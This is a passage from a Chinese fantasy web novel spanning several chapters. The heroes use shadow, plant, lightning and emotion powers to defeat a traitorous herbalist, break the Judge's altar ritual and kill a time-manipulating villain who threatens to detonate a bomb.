“英雄?”判官突然笑出声,黑袍猛地张开,露出里面的内衬,上面竟绣着特调科的徽章,只是被影石粉
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末染成了黑色,“你以为特调科为什么能容忍裁决会存在?没有你父亲偷偷提供的异能者名单,我们怎么可能在十年前就布下这么大的局?”
费勇突然抓住林悦的手腕,他的影子正顺着地面往林悦脚下爬,在她的幻象边缘撕开道裂缝:“那不是真的。你父亲的影子在哭,真正的英雄不会有那样的影子。”
林悦愣住了。幻象里父亲的影子确实在颤抖,每次磕头时,影子都会往反方向蜷缩,像在无声地反抗。她突然想起父亲的遗物里有本日记,最后一页画着个闪电符号,旁边写着行小字:“用我的光,换你的路。”
“清月!”费勇的影子突然化作巨浪,同时拍向苏清月和夏艳玲的幻象。苏清月看到的秦伯幻象突然扭曲,露出影石粉末构成的内核;夏艳玲的实验室里,白大褂的影子突然变成了判官的样子,手里的针管上刻着裁决会的标志。
苏清月的绿藤瞬间清醒,带着金光缠上祭坛的影石碎片,本源草的汁液滴在银色纹路上,冒出串金色的泡沫:“这些幻象是影石能量构成的,只要切断共鸣……”
“晚了!”判官突然抬手,十二块影石碎片同时爆发出刺眼的光,祭坛的纹路开始倒流,黑色的暗影顺着地面往四人脚下爬,“你们的情绪已经被幻境放大,现在就是最好的祭品!”
就在这时,夏艳玲的布娃娃突然炸开,粉色光粒像烟花般笼罩整个祭坛。费勇的影子、苏清月的绿藤、林悦的雷光,在粉色光粒中突然交织在一起,形成个三色的漩涡,漩涡中心的暗影里,缓缓升起个新的影界领域——紫色的暗影中,绿色的藤蔓和金色的雷光缠绕成网,每个网眼都闪烁着粉色的光点。
“这不可能……”判官的脸色第一次变得难看,他的银色纹路在领域中开始褪色,“你的领域怎么会……”
“因为我们的羁绊,比你的破阵法强。”费勇的声音在领域中回荡,他的影子化作四只大手,分别握住苏清月、林悦和夏艳玲的手,“你以为幻象能打败我们?恰恰相反,你让我们看到了彼此的伤口,这样才能靠得更近。”
影界领域突然收缩,三色能量像潮水般撞向影石阵。十二块碎片的光芒同时黯淡,判官的黑袍被能量波掀起,露出他胸口的块黑色印记,形状竟和费勇父亲肩膀上的血管一模一样。
“游戏还没结束。”判官的身影突然融入祭坛的阴影里,声音却像从四面八方传来,“真正的惊喜,在你们最信任的人那里等着呢。”
苏清月的绿藤突然指向祭坛的暗门,藤蔓上的叶片纷纷指向同一个方向,那里的影石粉末中,混着点熟悉的药草香——是秦伯常用的艾草味,新鲜得像是刚留下的。
第89章:青禾堂的罪人
影石阵的光芒如潮水般退去,祭坛上的幻象碎片在空中闪烁片刻,化作点点荧光消散。苏清月的绿藤还维持着护住众人的姿态,叶片上沾着的金色光粒正缓缓渗入藤蔓,让刚才被影石能量灼伤的地方以肉眼可见的速度愈合。她刚松了口气,手腕突然被一股熟悉的力道攥住,转头时,看到的却是秦伯那张布满狰狞的脸。
“你家族的人,就该为研究禁忌付出代价!”
冰冷的话语砸在苏清月心上,比影石碎片的寒气更刺骨。秦伯的手里握着柄短**,刃身泛着暗绿色的光,显然淬了能抑制异能的药剂。这把**她认得,是青禾堂药房里用来切割珍稀药草的,小时候秦伯还握着她的手,教她如何用它精准地分离毒草的根茎。
“秦伯?”苏清月的声音抖得像风中的藤蔓,绿藤下意识地缠上他的手臂,却被他用另一只手狠狠扯断,“您看着我长大,怎么能……”
“看着你长大?”秦伯突然笑了,笑声里混着哭腔,眼角的皱纹挤成沟壑,里面嵌着的影石粉末被泪水冲开,露出底下狰狞的疤痕,“我看着你把苏家的**当宝贝翻,看着你对着那些能害死异能者的配方傻笑,看着你一步步变成和你爷爷一样的疯子!”
费勇的影子像被惊醒的巨**,“唰”地从地面窜起,瞬间缠住秦伯持刀的手腕。暗影能量在接触到**的瞬间滋滋作响,那上面的药剂对暗影有着极强的腐蚀性,但影绳还是越收越紧,迫使秦伯的手臂向后弯曲。
“十年前,我儿子就是被你们苏家研究的‘觉醒催化剂’害死的!”秦伯的吼声震得祭坛都在发颤,他猛地挣动,肩膀上的衣服裂开,露出块扭曲的疤痕,形状和影石阵的纹路一模一样,“他只是个刚觉醒的木系异能者,你们为了测试药剂效果,把他关在实验室里活活榨干了能量!”
林悦的雷矛已经刺穿了他的肩膀,电流顺着矛尖窜进秦伯体内,让他浑身抽搐。但她的手也在抖——刚才幻象里看到的“特调科内鬼”剪影,此刻正和秦伯的身形完全重合。那些偷偷传递给裁决会的异能者名单,那些精准避开青禾堂防御的突袭路线,原来都出自这个在青禾堂待了三十年的老人。
“清月,别信他的!”林悦咬着牙拧动雷矛,电流强度再升一级,“他投靠判官就是为了报复,连青禾堂的伤员名单都是他泄露的!”
苏清月的绿藤突然疯长,不是攻击,而是将秦伯层层包裹,像个金色的茧。她的眼泪砸在藤蔓上,激起一圈圈涟漪,那些被影石能量灼伤的叶片突然绽放出白色的小花。“您说谎……爷爷的笔记里明明写着,所有实验都经过志愿者同意,您儿子他……”
“同意?”秦伯在藤蔓里剧烈挣扎,声音嘶哑得像被砂纸磨过,“一个十五岁的孩子,被你们骗说‘能让异能变强’,他懂什么叫‘同意’?!我在停尸房看到他的时候,全身的血管都变成了黑色,像被影子蛀空了一样!”
费勇的影子突然绷紧,他看到秦伯胸口的衣服下,有块东西在发光——是半块影石碎片,正和祭坛的纹路产生共鸣。“他想引爆碎片!”费勇低吼着让影子化作盾牌护住众人,同时示意林悦收回雷矛。
秦伯果然笑了起来,笑得眼泪鼻涕糊了一脸:“判官说了,只要我引爆这块碎片,就能让所有研究异能的人陪葬!清月,别怪我,要怪就怪你生错了家……”
“我不怪您。”苏清月突然开口,声音轻得像叹息,绿藤上的白花瞬间开满了整个茧,“爷爷的笔记里确实有一页被撕掉了,我找了十年都没找到。您儿子的名字,是不是叫秦阳?”
秦伯的挣扎猛地停了。
“我在药房的旧账本里看到过这个名字,”苏清月的眼泪落在藤蔓上,开出更多的花,“他是自愿参加实验的,因为想治好妹妹的罕见病,那笔报酬足够支付手术费。爷爷说他很勇敢,实验日志里贴了他画的全家福,背面写着‘想成为和苏爷爷一样的人’。”
她抬手抚上藤蔓,那些白花突然化作光粒渗入秦伯体内,修复着雷矛和影绳造成的伤口。“您看,”苏清月轻声说,绿藤缓缓松开,露出秦伯胸口那块影石碎片——它的光芒正在减弱,“他不是恨您的研究,他是想成为您。”
秦伯呆呆地看着自己的手,那里还残留着**的寒意。胸口的影石碎片突然发出一声轻响,裂开了。他突然捂住脸,发出像野兽一样的呜咽,肩膀上的伤口在光粒的作用下开始愈合,但眼泪却像决堤的洪水。
“我……我看到的尸体……”
“是裁决会伪造的,”费勇的影子已经收回,他捡起地上的影石碎片,上面还残留着判官的能量波动,“他们
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需要一个恨苏家的人当内鬼,就像他们需要风行者当破晓的内鬼一样。”
林悦的雷矛垂在身侧,电流渐渐散去。她突然想起父亲日记里的一句话:“仇恨就像影石,能被人随意雕琢成想要的样子。”
秦伯的身体突然软了下去,苏清月的绿藤及时托住他。他看着苏清月,眼神里充满了悔恨,嘴唇哆嗦着说不出话。胸口的影石碎片彻底碎了,没有**,只有几点微光消散在空气中。
“对不起……清月……对不起……”他的声音越来越低,最终闭上眼睛,呼吸停在了绿藤开出的白花里。那些白花在他停止呼吸的瞬间全部凋谢,化作金色的粉末,渗入了祭坛的纹路中。
苏清月没有哭,只是轻轻抚摸着秦伯逐渐冰冷的脸颊。费勇的影子在她脚下轻轻蹭了蹭,像在安慰。林悦收起雷矛,走到祭坛边缘,看着那些被影石粉末覆盖的纹路——刚才秦伯引爆碎片的位置,恰好是影石阵的能量核心。
“他不是想同归于尽,”林悦突然说,声音有些发闷,“他是想毁掉核心,阻止判官的仪式。”
费勇捡起秦伯掉在地上的**,刃身上的药剂已经被绿藤的汁液中和。他突然想起幻境里判官说的“真正的惊喜在你们最信任的人那里”,原来指的不是背叛,而是这份被仇恨扭曲的、迟来的守护。
夏艳玲突然拽了拽费勇的衣角,她的布娃娃正指着祭坛暗门的方向,那里的影石粉末中,除了秦伯的艾草味,还有另一种熟悉的气息——是老鬼常用来修补古籍的胶水味。
“老鬼也来过?”林悦皱眉,握紧了雷矛。
费勇的影子已经顺着暗门爬了进去,传来的感知显示里面空无一人,只有满地的古籍碎片,和一个正在闪烁的通讯器。他示意苏清月跟上,同时让影子在周围布下警戒。
“不管是谁,”费勇的声音冷了下来,暗影能量在掌心凝聚成刃,“这次不会再让他跑了。”
苏清月最后看了眼秦伯的遗体,绿藤轻轻将他托起,放在祭坛中央的凹槽里——那里原本是放影石核心的位置。“您儿子的愿望,我会替他实现的。”她轻声说,转身跟上费勇,绿藤在她身后开出一路的白花。
暗门后的通道里,通讯器突然亮起,屏幕上只有一行字:
“影石阵的能量,足够唤醒‘祂’了。”
第90章:影界领域的完全形态
通讯器屏幕上的字迹像活过来的虫子,在费勇掌心爬动。他猛地攥紧拳头,黑石碎片的棱角硌进肉里,渗出血珠——那血珠刚滴落在地,就被祭坛的纹路吸了进去,原本黯淡的影石阵突然亮起三分之一。
“他在等我们的血激活阵法。”林悦的雷矛在掌心转了个圈,电流劈啪作响,照亮了她紧抿的嘴角,“刚才秦伯的血也被吸进去了,这混蛋把整个祭坛变成了活的。”
苏清月的绿藤突然沿着纹路蔓延,叶片贴在地面上轻轻颤抖,像在听诊。“能量流动变快了,”她的指尖泛起金光,与藤蔓的光芒交相辉映,“影石在吞噬周围的生命能量,包括我们的。”
夏艳玲突然把布娃娃往地上一摔,粉色光粒炸开的瞬间,众人清楚地看到——祭坛边缘的阴影里,无数细小的黑色触须正顺着纹路往外爬,像影石阵伸出的根须,所过之处,连苏清月催生的白花都瞬间枯萎。
“祂饿了。”夏艳玲的声音带着哭腔,小手死死抓住费勇的衣角,“布娃娃说,祂被关了很久,需要很多很多能量才能出来。”
费勇的影子突然剧烈波动,他感觉到背后传来熟悉的压迫感——判官的气息正从暗门后渗出,像墨汁滴进清水,迅速染黑了通道里的空气。“别出来!”他突然转身,影子化作巨墙堵住暗门,“你的仪式还没准备好!”
“不,已经准备好了。”判官的声音穿透影墙,带着令人牙酸的笑意,“秦伯的背叛是祭品,你们的羁绊是钥匙,现在只差最后一步——”
暗门“轰”地炸开,判官的黑袍在烟尘中猎猎作响,他右手高举,掌心的银色纹路比之前亮了十倍,像握着团缩小的银河。“裁决——有罪!”
三道银色光箭破空而来,精准地射向费勇、苏清月和林悦的胸口。光箭接触皮肤的瞬间化作烙印,像烧红的烙铁烫进肉里。费勇顿时感觉体内的暗影能量被掐住了喉咙,运转速度骤降一半,连影子都变得稀薄起来。
“这是‘绝对裁决’的标记,”林悦咬着牙试图用电流冲击烙印,却只换来一阵剧痛,雷矛差点脱手,“我的电流被压制了,最多能发挥三成威力。”
苏清月的绿藤也明显蔫了下去,叶片上的金光黯淡不少。她急中生智,将本源草汁液抹在费勇的烙印上,却只让那银色纹路闪烁了两下,反而被反弹的能量震得后退半步。“不行,这标记在吸收生命能量。”
判官缓步走出暗门,黑袍下的影石碎片全部亮起,与祭坛的纹路完美对接。十二块影石碎片同时旋转,在祭坛中央形成个黑色的漩涡,漩涡中传来沉闷的心跳声,每跳一下,众人身上的烙印就疼得加剧一分。
“看到了吗?这就是影界之门。”判官张开双臂,像在拥抱什么,“十年前我没能打开它,就是缺了费勇你的暗影本源,还有夏艳玲这颗纯净的情绪核心。”
夏艳玲突然尖叫起来,她体内的粉色光粒不受控制地往外涌,被漩涡产生的引力拉扯着,像条发光的丝带飘向祭坛中央。“放开我!”她拼命挣扎,却怎么也挣不脱那股力量,“费勇哥哥!”
费勇目眦欲裂,不顾烙印的剧痛,强行催动影界领域。紫色暗影瞬间铺开,却在接触漩涡的刹那被吞噬了大半。他这才发现,自己的领域竟在不断缩小,那些被影石阵染黑的地面,完全无法纳入掌控。
“放弃吧,”判官笑得更得意了,“我的裁决能压制你们的能力,影石阵能吞噬你们的领域,现在的你们,和普通人没什么两样。”
林悦突然将雷矛掷向漩涡,雷光在接触黑色能量的瞬间爆发出刺眼的光芒,竟短暂地逼退了漩涡。但她也被反弹的力量掀飞,撞在祭坛边缘,嘴角溢出鲜血。“清月,给我争取时间!”
苏清月立刻会意,绿藤带着本源草的金光缠上雷矛,将生命能量源源不断地注入其中。林悦咬紧牙关,双手结印,全身迸发出蓝色电弧,连头发都根根竖起——她在燃烧生命力,强行提升雷矛的威力。
“没用的!”判官挥手甩出三道空间裂缝,精准地斩向雷矛。就在这时,费勇的影子突然从裂缝下方窜出,化作盾牌挡住攻击,同时对夏艳玲喊道:“艳玲,想想开心的事!你不是能把情绪变成光吗?”
夏艳玲一愣,眼泪还挂在睫毛上,小手却下意识地摸向口袋里的颗糖——那是之前费勇给她的,草莓味的,她说甜得像过年。粉色光粒突然不再乱窜,反而围绕着她旋转起来,形成个小小的光球。
“对,就是这样!”费勇的影子突然分出无数细线,将光球轻轻托起,“把你的开心、信任,所有温暖的情绪都给我!”
判官脸色微变,突然加速催动漩涡。黑色能量猛地暴涨,瞬间吞噬了雷矛的雷光,还顺着藤蔓缠向苏清月。林悦想回援却被烙印的剧痛钉在原地,只能眼睁睁看着黑色能量爬上苏清月的手腕。
千钧一发之际,夏艳玲的光球突然炸开,粉色光粒像流星雨般落在费勇的影子上。那些原本稀薄的暗影瞬间变得凝实,还泛起淡淡的粉色光晕。费勇感觉到体内的压制突然减弱,烙印的疼痛也减轻了不少。
“这不可能……”判官的声音第一次出现裂痕。
更惊人的还在后面——苏清月的绿藤突然顺着费勇的影子爬上来,将生命能量注入其中。金色的光粒与粉色光粒、紫色暗影交织在一起,像三条不同颜色的河流汇入大海
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。费勇的影界领域猛地扩张,瞬间覆盖整个祭坛,甚至溢出了影石阵染黑的区域。
领域内,黑色暗影中夹杂着金色的生命之光和粉色的情绪之芒,形成奇妙的三色涟漪。那些原本枯萎的白花竟从地里重新钻出,在暗影中绽放;林悦掉落在地的雷矛也自动飞起,雷光中带着金色纹路,威力比之前更胜。
“这才是……影界领域的完全形态!”费勇感受着体内奔涌的能量,烙印的压制彻底消失,他甚至能通过领域,清晰地感知到苏清月的生命律动、林悦的电流频率,还有夏艳玲砰砰的心跳。
判官脸色铁青,再次发动“绝对裁决”,但银色光箭进入领域后,瞬间被三色涟漪消融。“怎么会这样?!”
“因为你不懂,”费勇的影子化作无数影刃,在领域内盘旋,“暗影从来不是孤单的。”
漩涡中突然伸出无数黑色触须,像章鱼的腕足拍向众人。但在完全形态的影界领域内,那些触须刚进入就被暗影缠住,金色光粒顺着触须蔓延,竟在黑色的躯体上开出白色的花。
夏艳玲的布娃娃突然飞向漩涡,粉色光粒在娃娃身上凝聚成盾牌,硬生生挡住了触须的反扑。苏清月趁机让绿藤顺着触须爬向漩涡,将本源草汁液注入其中。林悦则抓住机会,雷矛带着三色能量,狠狠扎进了漩涡中心。
“不——!”判官发出怒吼,试图扑向漩涡,却被费勇的影墙挡住。领域内的三色涟漪突然暴涨,将判官的黑袍撕裂,露出他胸口那块与费勇父亲相似的印记——此刻正被领域的能量灼烧,发出滋滋的声响。
漩涡的旋转速度明显减慢,里面的心跳声也变得微弱。费勇能感觉到,那个被称为“祂”的存在,正在被领域内的共生能量压制。
“结束了,判官。”费勇一步步走向祭坛中央,影刃在他身后形成扇形,“影界之门,该关上了。”
判官看着自己不断消融的黑袍,突然露出种诡异的笑容:“你以为这就结束了?真正的守护者还没出现呢……”
他的身体突然化作无数影石粉末,融入祭坛的纹路中。最后留下的,是句飘散在空气中的低语:“问问灯塔,十年前他为什么要放弃打开门……”
漩涡彻底停止旋转,黑色能量缩回影石碎片中。费勇身上的影界领域缓缓收敛,三色光粒温柔地落在每个人身上,修复着战斗的创伤。夏艳玲扑进他怀里,布娃娃在她头顶晃了晃,粉色光粒组成个小小的笑脸。
苏清月扶着林悦站起身,两人对视一眼,都从对方眼中看到了释然。但费勇却皱紧了眉头——判官最后那句话,像根刺扎进心里。
灯塔,也就是他的父亲,到底隐瞒了什么?
第91章:审判长的全力追杀
废弃工厂的铁皮屋顶被月光敲出斑驳的响,费勇用影子接住林悦甩过来的压缩饼干,包装纸撕开的脆响在空旷车间里格外清晰。夏艳玲正蹲在角落给布娃娃缝眼睛,粉色光粒顺着针线缠在碎布上,把枚纽扣缀成了会眨动的星星。
“老鬼说这地方安全,”苏清月的绿藤正顺着墙缝往外探,叶片上沾着的露水突然凝住不动,她指尖的金光顿了顿,“不对劲,植物的生命信号卡壳了。”
话音未落,林悦的雷矛突然爆出一串蓝火花。她猛地转头,电场感知里的一百多个热源像被按了暂停键,连空中飘着的灰尘都悬在半空。只有费勇的影子还在地面轻轻起伏,像湖面上的涟漪。
“有意思。”
车间入口的阴影里走出个穿银灰西装的男人,左手戴着只机械表,表盘里嵌着块影石碎片。他每走一步,周围的时间就冻结一片,皮鞋踩碎玻璃的裂痕在他脚边凝固成蛛网,却迟迟听不到碎裂声。
“裁决会三大审判长,时默。”男人抬手看了眼表,指针在三点十四分卡了壳,“判官说,抓不到活的,就把你们的影子剥下来当藏品。”
费勇突然发现自己动不了了。不是身体被束缚,而是每个动作都像陷在蜂蜜里,连眨眼都要花三倍力气。他低头看向影子,那些原本温顺的暗影正剧烈翻涌,像在对抗某种无形的力量。
“影界领域能抵抗时间停滞?”时默挑了挑眉,机械表的齿轮突然咔嗒作响,“可惜还不够强。”
苏清月的绿藤僵在半空,离时默的脚踝只有十厘米——那是她刚才趁其说话时悄悄埋下的陷阱,此刻藤蔓上的倒刺还凝着晶亮的毒液,却连滴落的动作都被冻住。林悦的雷矛更夸张,半道雷光卡在她指尖,蓝白色的电流像条被冻住的蛇。
只有夏艳玲还能小幅度动弹。她怀里的布娃娃正发出嗡嗡的轻响,粉色光粒在娃娃周围形成个气泡,把停滞的时间隔绝在外。她咬着嘴唇往费勇身边挪,小手抓住他的衣角时,布娃娃的光粒突然窜到费勇影子里。
“嗡——”
费勇感觉身体一轻,影界领域瞬间铺开。虽然紫色暗影在时默周围扭曲变形,像被揉皱的纸,但至少能让他自由活动了。他立刻让影子化作无数细针,顺着地面的裂缝钻向时默的双脚。
“雕虫小技。”时默抬脚的动作慢得像幻灯片,却精准地避开所有影针。他突然抬手按向机械表,车间里的时间流速猛地变得混乱——有的地方快得像快进,铁架上的铁锈瞬间剥落;有的地方慢得像暂停,林悦喷出的血沫在空中凝成小红珠。
费勇抓住这转瞬即逝的缝隙,影遁至苏清月身边。暗影能量顺着她的指尖注入绿藤,那些凝固的毒液突然恢复流动,顺着藤蔓滑向时默的脚踝。
“清月,松手!”
苏清月立刻解除能力。脱离控制的绿藤瞬间爆发,带着积攒的生命力猛地缠上时默的小腿,倒刺深深扎进皮肉。时默的动作终于出现破绽,机械表的齿轮发出刺耳的摩擦声。
“看来得认真点了。”
时默的机械表突然炸开,影石碎片的光芒将整个车间染成银灰色。费勇的影界领域像被戳破的气球,瞬间缩小到只覆盖他脚下的半米范围。更可怕的是,他看到苏清月和林悦的影子开始变得透明,仿佛要被时间的力量抹去。
“时间会磨损一切,包括影子。”时默一步步走向夏艳玲,布娃娃的光粒气泡正在缩小,“这小丫头的情绪核心能抵抗时间侵蚀?正好,判官一直想要个活的标本。”
夏艳玲突然把布娃娃往地上一摔。粉色光粒炸开的瞬间,时默的动作明显迟滞了半秒——不是因为光粒的攻击,而是娃娃里飘出的张旧照片,照片上的女人抱着个小女孩,背景里的钟楼正指向三点十四分。
“这是……”时默的机械表突然疯狂倒转,“十年前的觉醒潮现场?”
就是这半秒的破绽,让费勇抓住了机会。他将所有暗影能量凝聚成一柄长鞭,不是攻击时默,而是缠住苏清月和林悦的影子,强行将她们拖进自己的领域。
“清月,用本源草!”
苏清月立刻会意,绿藤带着金光缠上影鞭。生命力顺着暗影流淌,林悦指尖的雷光突然爆亮,蓝白色的电流顺着影鞭窜向时默——这次的攻击速度快得惊人,因为雷电流淌在影界领域里,不受时间停滞的影响。
“该死!”
时默被迫后撤,机械表的表盘裂开细纹
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。他看着自己被雷光灼伤的袖口,眼神冷得像冰:“本来想留你们全尸,现在看来,只能把你们拆成零件研究了。”
车间外突然传来密集的脚步声。百名执法者像被按了播放键的木偶,齐刷刷地冲进车间,每个人手里都握着嵌影石的电击器。他们的动作整齐划一,显然也被时默的能力操控着时间流速。
费勇的影界领域被执法者们的影子挤压得越来越小。他突然注意到,时默每次发动能力,机械表里的影石碎片就会黯淡一分。而夏艳玲的布娃娃还在不断释放粉色光粒,那些光粒接触到影石碎片的光芒时,会发出滋滋的声响。
“艳玲,把你的恐惧给我!”费勇突然喊道,同时让影子化作漏斗,“清月,生命力注入!林悦,准备最强的雷矛!”
夏艳玲虽然不懂,但还是立刻照做。被百名执法者包围的恐惧化作冰冷的粉色光粒,顺着影漏斗涌向费勇。苏清月的绿藤紧紧缠上漏斗,将生命能量源源不断地注入其中。林悦则闭上眼,任由体内的雷霆之力疯狂积蓄,指尖的雷光越来越亮,甚至开始灼烧她的皮肤。
时默察觉到不对,机械表的齿轮转到最快:“给我停下!”
车间里的时间再次陷入停滞。但这次,费勇的影漏斗还在旋转,粉色光粒与金色能量在漏斗里交融,形成道刺眼的光柱。当光柱冲破影界领域的瞬间,费勇对着时默猛地挥手:
“林悦,放!”
被冻结的雷光突然挣脱束缚,顺着光柱化作条巨龙,带着融合了恐惧与生命的能量,狠狠撞向时默的机械表。
“咔嚓——”
机械表彻底碎裂,影石碎片的光芒熄灭。车间里的时间恢复正常,玻璃碎裂声、执法者的喊叫声、铁锈剥落声同时炸响,像场迟来的暴雨。
时默踉跄后退,左手腕渗出黑色的血。他难以置信地看着费勇:“你竟然能用情绪能量……破解时间规则?”
费勇没回答,因为他发现执法者们又动了。更麻烦的是,时默虽然暂时失去能力,嘴角却勾起抹诡异的笑。
“游戏才刚刚开始。”时默从西装内袋掏出个黑色遥控器,“忘了告诉你们,这工厂的地基里,埋着五十公斤影石**。”
第92章:影刃的进化
黑色遥控器在时默掌心转得像枚硬币,车间里的执法者突然集体举起电击器,影石的暗光在他们瞳孔里跳动。费勇注意到遥控器上的倒计时正卡在十秒,而时默的左手腕还在渗黑血,碎掉的机械表残骸里,影石碎片的光芒像濒死的星。
“清月,拆**!”费勇突然拽起夏艳玲往车间深处冲,暗影能量在身后织成巨网,“林悦,给我争取三分钟!”
苏清月的绿藤瞬间钻进地面裂缝,叶片贴着水泥根须疯长。她指尖的金光随着藤蔓延伸,在地下三米处触到团滚烫的能量——五十公斤影石**被包裹在特制合金里,引线正随着时默的脉搏跳动。
“引线和他的生命能量相连!”苏清月的声音带着喘息,绿藤突然爆出白花,“我能暂时冻结引线,但他一死就会立刻引爆!”
时默冷笑着抬起右手,原本戴机械表的地方露出道银色纹路,像条金属蛇缠在腕骨上。“以为拆得了?这**的引爆器,是我的心脏。”
话音未落,他突然按住太阳穴。车间里的时间再次扭曲,执法者们的动作变得快如鬼魅,电击器的蓝光在半空织成电网,而林悦刚凝聚的雷矛却卡在半空,电流像凝固的玻璃。
“这次,只针对你。”时默的目光锁定费勇,银色纹路突然亮起,“尝尝被时间碾碎的滋味。”
费勇的影界领域瞬间被压缩成层薄纸,暗影能量像被塞进密封罐,连呼吸都带着金属摩擦的疼。他眼睁睁看着自己的影子开始龟裂,裂缝里渗出银灰色的光——那是时间侵蚀的痕迹。
“费勇哥哥!”夏艳玲突然扑过来抱住他的腰,布娃娃的粉色光粒顺着两人接触的地方涌进领域,那些龟裂的影子竟开始愈合,“布娃娃说,你的影子在哭!”
就是这瞬间的缓冲,让费勇抓住了关键。时默的时间停滞虽然针对他,但领域里的暗影能量还在流动,就像冰封河面下的暗流。而苏清月的绿藤正顺着他的影子往上爬,金色的生命能量像条细线,悄悄融入暗影。
“清月,把本源草的能量全灌进来!”费勇突然咬破舌尖,血腥味刺激着体内的暗影本源,“林悦,用雷电劈我!”
林悦瞳孔骤缩,但没有丝毫犹豫。被时间冻结的雷矛突然爆发,蓝白色的电流穿透停滞层,狠狠劈在费勇身上。剧痛炸开的同时,他感觉到暗影能量、生命能量和雷电能量在体内撞出火花,像要把骨头都烧熔。
“疯子!”时默的银色纹路突然剧烈跳动,“你想自爆吗?”
费勇没有回答。他正将所有能量往右手凝聚,暗影在掌心旋转成漆黑的漩涡,金色的生命能量像熔金般浇在漩涡边缘,蓝白色的雷电则在其中炸出无数细小的闪电。当三种能量融合的瞬间,一柄两米长的影刃凭空出现——
刃身是纯粹的黑,却流淌着金色的纹路,仿佛有生命在其中搏动。最诡异的是刃尖,蓝白色的电光凝成倒刺,每跳动一下,周围的时间流速就会出现细微的紊乱。
“这是什么……”时默的脸色第一次出现恐惧,银色纹路的光芒竟在影刃前节节败退。
费勇没有废话。他握着影刃的手突然穿过时间停滞的屏障,刃身切开空气时没有声音,却在途经的地方留下串扭曲的残影——那是被切开的时间碎片。
“不可能!”时默疯狂后退,右手的银色纹路爆发出刺眼的光,试图将费勇再次拖入停滞。但影刃就像把钥匙,所过之处,时间的枷锁纷纷断裂。
两人的距离在瞬间缩短到三米。费勇能看清时默瞳孔里自己的倒影,能闻到他身上影石碎片的焦糊味,甚至能捕捉到他手腕处银色纹路的能量流动规律——那是时间能量的核心节点。
“你的能力,对暗影没用。”
费勇的声音刚落,影刃已经横扫而出。金色纹路在这一刻亮起,蓝白色的电光顺着刃身爆发,精准地斩在时默的右手腕。没有鲜血飞溅,因为在影刃接触的瞬间,被斩断的手腕已经被时间能量冻结,像块脱落的金属雕塑。
银色纹路随着断手落地,车间里的时间瞬间恢复正常。执法者们的电网突然溃散,林悦的雷矛失去压制,呼啸着撞向人群,炸开的电流让成片的执法者抽搐倒地。
“我的手……”时默呆呆地看着自己的断臂,那里没有伤口,只有圈光滑的截面,像被时间磨平的石头,“你怎么可能……”
费勇没有给他说完的机会。影刃突然刺入地面,金色纹路顺着暗影蔓延,将整个车间纳入范围。令人震惊的一幕发生了——所有执法者的动作都出现了诡异的重复,抬手、挥拳、电击,每个动作都和前一秒一模一样,像被按下了复读键。
“时间回溯?”林悦目瞪口呆地看着这一幕,“你的影刃……吸收了他的时间能量?”
费勇也在惊讶。他能感觉到影刃里多了股陌生的能量,像握着团流动的沙。当他集中意念时,就能让接触到的物体重复最近一秒的动作,这正是时默能力的弱化版。
“看来,规则也能被吞噬。”费勇握紧影刃,刃身的金色纹路突然指向时默的胸口,“现在,该
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算算总账了。”
时默突然发出刺耳的笑,断臂处的截面开始渗出黑血,那些血液在地面汇成个诡异的符号,与车间地基里的影石**产生共鸣。“总账?你以为赢了吗?”
他猛地撕开衬衫,胸口露出块菱形的影石碎片,碎片上刻满了和秦伯体内相同的纹路。“判官早就给我留了后手,这枚‘时间**’,可是用十年寿命换来的。”
影石碎片突然爆发出银灰色的光,时默的身体以肉眼可见的速度衰老,头发变白,皮肤起皱,唯有那双眼睛亮得吓人。“我虽然不能动你,但能让这整个工厂的时间加速流逝——包括你那拆弹的小女友。”
苏清月的惊呼声从地下传来。费勇低头看去,地面的裂缝里渗出银灰色的光,绿藤的白花正在以惊人的速度凋谢,显然时间加速已经影响到地下。
“清月!”费勇的心瞬间提到嗓子眼。
就在这时,夏艳玲的布娃娃突然飞起来,粉色光粒在半空中组成道屏障,挡住了流向裂缝的银灰色光。“布娃娃说,时间怕开心的光!”
小女孩的声音带着哭腔,却异常坚定。她张开双臂挡在裂缝前,体内的情绪核心爆发出前所未有的光芒,那些粉色光粒像无数个小小的太阳,竟让银灰色的时间能量开始消融。
“还有这种操作?”林悦看得目瞪口呆,手里的雷矛却没停,精准地敲晕了几个试图偷袭的执法者。
费勇抓住这机会,影刃直指时默胸口的影石碎片。“你的时间,到头了。”
影刃刺穿影石碎片的瞬间,费勇感觉到股狂暴的时间能量涌入体内。影刃的金色纹路疯狂闪烁,蓝白色的电光几乎要挣脱束缚。他强忍着眩晕,将所有能量反向灌注——
时默的衰老突然加速,短短三秒内就从壮年变成了白发苍苍的老人。他张着嘴想说什么,却只能发出风箱般的喘息,最终化作堆银灰色的粉末,被影刃吸收。
随着时默的死亡,地下传来苏清月松了口气的声音:“引线的时间恢复正常了!我能拆了!”
费勇这才瘫坐在地,影刃“哐当”一声插在旁边,刃身的金色纹路渐渐黯淡。他看着自己的右手,那里还残留着时间能量的灼痛感,而影界领域里,那些被回溯的执法者还在重复着可笑的动作。
“看来这影刃的副作用不小。”费勇苦笑着揉了揉太阳穴,突然感觉到股熟悉的气息正在靠近——速度快得惊人,带着破空的呼啸声。
林悦也竖起了耳朵,雷矛重新凝聚:“这速度……是风行者?”
第93章:夏艳玲的呼救
车间的铁皮屋顶被风掀起半角,月光像把钝刀,把执法者们的影子剁得支离破碎。费勇刚扶起脱力的林悦,就听见苏清月从地下传来的喊声:“**拆完了!但有执法者从东边缺口跑了!”
话音未落,影界领域突然剧烈震颤。费勇低头,看见那些被时间回溯困住的执法者正纷纷挣脱,他们的影子变得漆黑粘稠,像刚从泥潭里捞出来——显然是有人在外面干扰他的领域。
“是风行者!”林悦的电场突然炸开蓝火花,她捂着发麻的太阳穴,“他的速度太快,我的感知抓不住!”
费勇立刻让影子化作数百条触须,沿着车间墙壁往外探。触须刚碰到门口,就传来被高速切割的刺痛。他猛地收回影子,看见触须断裂处渗出银灰色的雾——那是被超音速摩擦产生的高温灼烧的痕迹。
“他在消耗我的领域能量。”费勇咬着牙重新凝聚暗影,“清月,带艳玲去地下通道!林悦,跟我守住门口!”
苏清月刚抓住夏艳玲的手,就听见身后传来机械运转的咔嗒声。一个没被雷矛击中的执法者正举着电击器,影石碎片在器械顶端发出红光,对准了夏艳玲的后心。
“小心!”苏清月的绿藤瞬间缠上执法者的手腕,但对方像疯了一样,竟用另一只手掰开藤蔓,电击器的红光越来越亮。
夏艳玲吓得浑身发抖,怀里的布娃娃突然竖起耳朵,粉色光粒顺着娃娃的缝线往外冒。她想躲,却被地上的钢筋绊倒,眼睁睁看着电击器朝自己砸来。
“别碰我!”
